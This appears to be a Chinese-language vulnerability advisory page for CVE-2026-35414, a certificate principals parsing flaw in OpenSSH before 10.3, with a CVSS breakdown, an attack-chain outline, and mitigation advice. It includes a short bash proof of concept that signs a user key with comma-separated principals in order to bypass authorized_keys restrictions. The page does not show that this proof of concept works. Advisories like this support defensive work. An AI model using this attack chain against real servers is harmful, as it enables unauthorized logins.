CVE-2026-35414 CVSS 4.2 中危

CVE-2026-35414 OpenSSH principals选项处理漏洞

披露日期: 2026-04-02

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-35414

漏洞类型

权限绕过

CVSS评分

4.2 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

OpenSSH

漏洞概述

OpenSSH 10.3之前的版本在处理authorized_keys的principals选项时存在逻辑漏洞。当principals列表与特定使用逗号的证书颁发机构（CA）结合使用时，解析逻辑可能出现错误，导致访问控制机制失效。

技术细节

该漏洞源于OpenSSH在解析authorized_keys文件中的principals选项及处理CA签名证书时的逻辑缺陷。如果CA签发的证书中包含逗号分隔的principal名称，而服务端的authorized_keys配置了特定的principals列表，OpenSSH可能无法正确匹配或分隔这些名称。这导致本应被拒绝的认证请求被接受，攻击者可利用此漏洞绕过基于principal的访问控制限制。由于需要低权限账号且攻击复杂度较高，风险被定为中危。

攻击链分析

STEP 1

信息收集

攻击者探测目标服务器，确认其运行OpenSSH版本低于10.3，且开启了基于证书的认证。

STEP 2

证书构造

攻击者利用漏洞特性，生成或获取包含逗号分隔principal列表的特制证书。

STEP 3

认证绕过

攻击者使用该证书发起SSH连接，由于服务端解析错误，可能绕过authorized_keys中的principals限制，成功登录。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

#!/bin/bash
# PoC for CVE-2026-35414: OpenSSH principals option mishandling
# Concept: Using a certificate with comma-separated principals to bypass authorized_keys restrictions.

# 1. Generate a CA key (Attacker/Compromised CA)
ssh-keygen -f ca_key -t ecdsa -N ""

# 2. Generate a user key
ssh-keygen -f user_key -t ecdsa -N ""

# 3. Sign the user key with a principal list containing a comma
# Exploiting the parsing logic in versions < 10.3
ssh-keygen -s ca_key -I test_id -n "admin,trusted" user_key.pub

# 4. Attempt authentication
# If the server expects "admin" but mishandles the comma, access may be granted.
echo "Connect to target using: ssh -i user_key -i user_key-cert.pub user@target"

影响范围

OpenSSH < 10.3

防御指南

临时缓解措施

若无法立即升级，建议暂时禁用基于证书的认证，或严格限制CA签发证书中principal字段的格式，避免使用逗号字符。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表